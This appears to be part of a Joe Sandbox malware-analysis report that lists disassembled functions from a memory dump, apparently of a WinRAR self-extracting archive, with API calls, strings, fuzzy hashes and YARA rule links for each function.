Instruction Fuzzy Hash: 3B41CF34A00208EFCF12DF69C8C1A9EBBB4AF45324F15C155E814AF392C772AA45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0032AEF5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 0032AF0E
GetWindowRect.USER32(?,?), ref: 0032AF64
ShowWindow.USER32(?,00000005,00000000), ref: 0032B001
SetWindowTextW.USER32(?,00000000), ref: 0032B009
ShowWindow.USER32(00000000,00000005), ref: 0032B01F

Strings

RarHtmlClassName, xrefs: 0032AFC5

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: f0a4a46180fa30a0a4e4122dcc26f71012c5557961b97fd51ccdd7e328ed8864
Instruction ID: 04beb86f0a551ea83751e16c9588fc08267c1c00c0adec42ea1b96b9fc5788c5
Opcode Fuzzy Hash: f0a4a46180fa30a0a4e4122dcc26f71012c5557961b97fd51ccdd7e328ed8864
Instruction Fuzzy Hash: 7C41EF72404724AFDB239F20ED48B6BBBECEB08701F554559F9899A052DBB4E844CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0032A975 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0032A97E
_wcslen.LIBCMT ref: 0032A9B3

Strings

, xrefs: 0032A9D0
 , xrefs: 0032AA41
<br>, xrefs: 0032A9FF
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 0032A9A7

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: 13b83b83b445546caa00103c989ed3ef930f44429f28a36bd9d1057bda96ec3d
Instruction ID: 3b9f548f53143e94fb2b214e400028cf5fcea8786aa0ce1c0cd6d004eeb7109d
Opcode Fuzzy Hash: 13b83b83b445546caa00103c989ed3ef930f44429f28a36bd9d1057bda96ec3d
Instruction Fuzzy Hash: D8315E72A44B1597D632AB54BC82B7673E4EF90720F11842FF9855B280FB50BD94C3A7

Uniqueness

Uniqueness Score: -1.00%

Function 0033DA64 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0033DA28: _free.LIBCMT ref: 0033DA51

_free.LIBCMT ref: 0033DAB2

Part of subcall function 0033A66A: RtlFreeHeap.NTDLL(00000000,00000000,?,0033DA56,?,00000000,?,00000000,?,0033DA7D,?,00000007,?,?,0033DE7A,?), ref: 0033A680
Part of subcall function 0033A66A: GetLastError.KERNEL32(?,?,0033DA56,?,00000000,?,00000000,?,0033DA7D,?,00000007,?,?,0033DE7A,?,?), ref: 0033A692

_free.LIBCMT ref: 0033DABD
_free.LIBCMT ref: 0033DAC8
_free.LIBCMT ref: 0033DB1C
_free.LIBCMT ref: 0033DB27
_free.LIBCMT ref: 0033DB32
_free.LIBCMT ref: 0033DB3D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ed90a822092467ab948ce4ab8a4e5ff1fef504289117e408d2aed02f462530fb
Instruction ID: 78e51659f0a37a661feb208d323b2999452736d209d0592573248c26b2519bce
Opcode Fuzzy Hash: ed90a822092467ab948ce4ab8a4e5ff1fef504289117e408d2aed02f462530fb
Instruction Fuzzy Hash: DE119071A54B04BAD622BBB1DD87FCBB7ACAF14700F440C14B29AAE062DA74B5158751

Uniqueness

Uniqueness Score: -1.00%

Function 0032F77A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,0032F7F5,0032F758,0032F9F9), ref: 0032F791
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 0032F7A7
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 0032F7BC

Strings

ReleaseSRWLockExclusive, xrefs: 0032F7B1
AcquireSRWLockExclusive, xrefs: 0032F7A1
KERNEL32.DLL, xrefs: 0032F78C

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 3c2f908b5ec4f75b6c61bfa7a870bd0776b119fbbfe2a353c2a03c4548d654d4
Instruction ID: 65e92018c1e99a4606e2dbe08b10389be60645109b395c878157e16ed04e6dcc
Opcode Fuzzy Hash: 3c2f908b5ec4f75b6c61bfa7a870bd0776b119fbbfe2a353c2a03c4548d654d4
Instruction Fuzzy Hash: 2CF0C2353012325F9B334E6C6C866A662FC9A027D9723043AEA1AD7100E710DC8156D1

Uniqueness

Uniqueness Score: -1.00%

Function 00322799 Relevance: 9.1, APIs: 6, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 003227F1

Part of subcall function 0031C619: GetVersionExW.KERNEL32(?), ref: 0031C63E

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00322815
FileTimeToSystemTime.KERNEL32(?,?), ref: 0032282F
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00322842
SystemTimeToFileTime.KERNEL32(?,?), ref: 00322852
SystemTimeToFileTime.KERNEL32(?,?), ref: 00322862

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 4fad3a32ac9a2312b73cb34d4a819e6bd666882465d7156e4a841e19f484fdc5
Instruction ID: 29df15f24e2c86e059f15fc4ccce1d34f44f9eb55ec09007756031a8efef76e6
Opcode Fuzzy Hash: 4fad3a32ac9a2312b73cb34d4a819e6bd666882465d7156e4a841e19f484fdc5
Instruction Fuzzy Hash: B8313879108355ABC704DFA9D88499BB7ECBF98704F004A2EF995C3210E730E548CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00333C8A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00333C81,00333A3C,00330BF4), ref: 00333C98
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00333CA6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00333CBF
SetLastError.KERNEL32(00000000,00333C81,00333A3C,00330BF4), ref: 00333D11

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 396d47163d5d1b3a56598c6b50979e3890bb3ed746d98807a567a02f9ff4668e
Instruction ID: 9bb6666014228074b731a8940c2fdb078808db4f103bab7843a806e1e2e46024
Opcode Fuzzy Hash: 396d47163d5d1b3a56598c6b50979e3890bb3ed746d98807a567a02f9ff4668e
Instruction Fuzzy Hash: 8E01F7372183225EA71B27757CC5A6B2F5CEB05775F724239F6206A0F1EF166D105680

Uniqueness

Uniqueness Score: -1.00%

Function 0033A515 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00353070,00335982,00353070,?,?,00335281,00000050,?,00353070,00000200), ref: 0033A519
_free.LIBCMT ref: 0033A54C
_free.LIBCMT ref: 0033A574
SetLastError.KERNEL32(00000000,?,00353070,00000200), ref: 0033A581
SetLastError.KERNEL32(00000000,?,00353070,00000200), ref: 0033A58D
_abort.LIBCMT ref: 0033A593

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 65f893f4d10d1f2bf7ab604f46e845af6e9b817f84ce915f7f8c87f5b6d5823a
Instruction ID: 0cc4337bff02b1dc404f70950f6f5ea0c93d51a58ba8eff3bd04472feae4b494
Opcode Fuzzy Hash: 65f893f4d10d1f2bf7ab604f46e845af6e9b817f84ce915f7f8c87f5b6d5823a
Instruction Fuzzy Hash: 1FF0C83A240E0067E21B33257CCBF6B166D9BD3762F250224FAD4AA1A2EF259D018556

Uniqueness

Uniqueness Score: -1.00%

Function 0031D4D2 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 00321907: _wcslen.LIBCMT ref: 0032190D

Part of subcall function 0031CD5C: _wcsrchr.LIBVCRUNTIME ref: 0031CD73

_wcslen.LIBCMT ref: 0031D5A4
_wcslen.LIBCMT ref: 0031D5EC

Strings

.sfx, xrefs: 0031D527
.rar, xrefs: 0031D4EE, 0031D541
.exe, xrefs: 0031D518

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _wcslen$_wcsrchr
String ID: .exe$.rar$.sfx
API String ID: 3513545583-31770016
Opcode ID: fbf829b73502c7293f14ab9012ec33f70efc26fea142fa3e79e315ac0f8c24f6
Instruction ID: 272f62a0a36bb0c16881aaad48de18fb5d53c3ddd61118ccaae6c46e6ecf386e
Opcode Fuzzy Hash: fbf829b73502c7293f14ab9012ec33f70efc26fea142fa3e79e315ac0f8c24f6
Instruction Fuzzy Hash: 79415A22500360A5C73BAF34D852AFB73B9EF5B748B12460EF8869F081E7619DC1D391

Uniqueness

Uniqueness Score: -1.00%

Function 0031CF32 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0031CF56
GetCurrentDirectoryW.KERNEL32(000007FF,?,?,?,?,00000000,?,?,0031B505,?,?,00000800,?,?,0031B4CA,?), ref: 0031CFF4
_wcslen.LIBCMT ref: 0031D06A

Strings

UNC, xrefs: 0031CFD6
\\?\, xrefs: 0031CF81, 0031CFC8, 0031D026, 0031D07D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _wcslen$CurrentDirectory
String ID: UNC$\\?\
API String ID: 3341907918-253988292
Opcode ID: 887e50d4c07771daeac7f1776b13495207837634941fc114a9a35378b937965a
Instruction ID: f6aede456e98b6367e56ae5c26670d169641a71df2934c5a1afe78dbbb84b7d6
Opcode Fuzzy Hash: 887e50d4c07771daeac7f1776b13495207837634941fc114a9a35378b937965a
Instruction Fuzzy Hash: C041D036440229BACF27AF60DC41EEA77A9AF4E350F114425FC54AB041E771EAD28BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0032C8CD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 0032C8DD
GetObjectW.GDI32(00000000,00000018,?), ref: 0032C902
DeleteObject.GDI32(00000000), ref: 0032C934
DeleteObject.GDI32(00000000), ref: 0032C957

Part of subcall function 0032B6D2: FindResourceW.KERNELBASE(?,PNG,00000000,?,?,?,0032C92D,00000066), ref: 0032B6E5
Part of subcall function 0032B6D2: SizeofResource.KERNEL32(00000000,?,?,?,0032C92D,00000066), ref: 0032B6FC
Part of subcall function 0032B6D2: LoadResource.KERNEL32(00000000,?,?,?,0032C92D,00000066), ref: 0032B713
Part of subcall function 0032B6D2: LockResource.KERNEL32(00000000,?,?,?,0032C92D,00000066), ref: 0032B722
Part of subcall function 0032B6D2: GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,0032C92D,00000066), ref: 0032B73D
Part of subcall function 0032B6D2: GlobalLock.KERNEL32(00000000,?,?,?,?,?,0032C92D,00000066), ref: 0032B74E
Part of subcall function 0032B6D2: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 0032B7B7
Part of subcall function 0032B6D2: GlobalUnlock.KERNEL32(00000000), ref: 0032B7D6
Part of subcall function 0032B6D2: GlobalFree.KERNEL32(00000000), ref: 0032B7DD

Strings

], xrefs: 0032C90A

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: GlobalResource$Object$BitmapDeleteLoadLock$AllocCreateFindFreeFromGdipSizeofUnlock
String ID: ]
API String ID: 1428510222-3352871620
Opcode ID: 079a815c1cb1febe28096a68f135826b7c58d7a4e7ef8fe83751559991155e03
Instruction ID: 83ca0d1f2116a96e1851fe88f84701c8414fd02dc0d62261f9bae59e59e6a646
Opcode Fuzzy Hash: 079a815c1cb1febe28096a68f135826b7c58d7a4e7ef8fe83751559991155e03
Instruction Fuzzy Hash: B201D632540B2667DB132764AC05A7FBA7DAF81B91F150114F944BB292DF618C4586E0

Uniqueness

Uniqueness Score: -1.00%

Function 0032E750 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 003112F6: GetDlgItem.USER32(00000000,00003021), ref: 0031133A
Part of subcall function 003112F6: SetWindowTextW.USER32(00000000,003445F4), ref: 00311350

EndDialog.USER32(?,00000001), ref: 0032E79B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 0032E7B1
SetDlgItemTextW.USER32(?,00000066,?), ref: 0032E7C5
SetDlgItemTextW.USER32(?,00000068), ref: 0032E7D4

Strings

RENAMEDLG, xrefs: 0032E768

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 587553d6548445ff7f1af7ffb6c02d74a78097ca6bab0b0030148e7cebd232ef
Instruction ID: 1a35971cc16e991ea84e492b112ebc519112b09e5c20b1f04d86033da42f756b
Opcode Fuzzy Hash: 587553d6548445ff7f1af7ffb6c02d74a78097ca6bab0b0030148e7cebd232ef
Instruction Fuzzy Hash: 750124332813217AE6374FBCAC4AFA73B5DFB4A702F000424F305A64D0C7A268498B65

Uniqueness

Uniqueness Score: -1.00%

Function 00339235 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,003391E6,00000000,?,00339186,00000000,0034D570,0000000C,003392DD,00000000,00000002), ref: 00339255
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00339268
FreeLibrary.KERNEL32(00000000,?,?,?,003391E6,00000000,?,00339186,00000000,0034D570,0000000C,003392DD,00000000,00000002), ref: 0033928B

Strings

mscoree.dll, xrefs: 0033924E
CorExitProcess, xrefs: 00339260

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 18efee2383518a97f1c46218c3b167103efd0db2050dcf525e77361e820c4f9a
Instruction ID: 149b8fea7aa198be681b4813537c138f5b4f95c452bf3fce3caf74e354f729f8
Opcode Fuzzy Hash: 18efee2383518a97f1c46218c3b167103efd0db2050dcf525e77361e820c4f9a
Instruction Fuzzy Hash: B5F04F34A04618BBDB169FA4DC49B9EBFF8EB45752F0101A9F905AA160CF71AE50CA90

Uniqueness

Uniqueness Score: -1.00%

Function 003112F6 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0031F608: _swprintf.LIBCMT ref: 0031F62E
Part of subcall function 0031F608: _strlen.LIBCMT ref: 0031F64F
Part of subcall function 0031F608: SetDlgItemTextW.USER32(?,00350274,?), ref: 0031F6AF
Part of subcall function 0031F608: GetWindowRect.USER32(?,?), ref: 0031F6E9
Part of subcall function 0031F608: GetClientRect.USER32(?,?), ref: 0031F6F5

GetDlgItem.USER32(00000000,00003021), ref: 0031133A
SetWindowTextW.USER32(00000000,003445F4), ref: 00311350

Strings

p05, xrefs: 0031135B
p05, xrefs: 0031130B
0, xrefs: 003112F9

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0$p05$p05
API String ID: 2622349952-3330538057
Opcode ID: 497981a3c2365c14d15e58dee74a5dd519af8bda4d302e66443f4e2984be779b
Instruction ID: 72807fac896e485023b9df8ac89817ef25eebc5478bbc3e298709859661a4e0a
Opcode Fuzzy Hash: 497981a3c2365c14d15e58dee74a5dd519af8bda4d302e66443f4e2984be779b
Instruction Fuzzy Hash: 10F04F38110748ABDF6F5F608C09BEA3B99BB09385F054924FE59558E5CBB4CAD4EA10

Uniqueness

Uniqueness Score: -1.00%

Function 00333D6A Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00333E31
___AdjustPointer.LIBCMT ref: 00333E54
_abort.LIBCMT ref: 00333EA2
___AdjustPointer.LIBCMT ref: 00333EF0

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: b4c5dc6e3e69cc72deda5e095e63965f30da631d5248ec8d32659b2a5f716c29
Instruction ID: 4532040b05291d55fbdf500fb4f70355af500459a139377a43470e87bd4cfd31
Opcode Fuzzy Hash: b4c5dc6e3e69cc72deda5e095e63965f30da631d5248ec8d32659b2a5f716c29
Instruction Fuzzy Hash: 0651F4726002029FDB2B8F15D8C1BBA77A8EF44310F15852DEC419B2A0E775EE90CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0033D0F0 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0033D0F9
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0033D11C

Part of subcall function 0033A7FE: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0033DBEC,00000000,?,003380B1,?,00000008,?,0033A871,?,?,?), ref: 0033A830

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0033D142
_free.LIBCMT ref: 0033D155
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0033D164

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

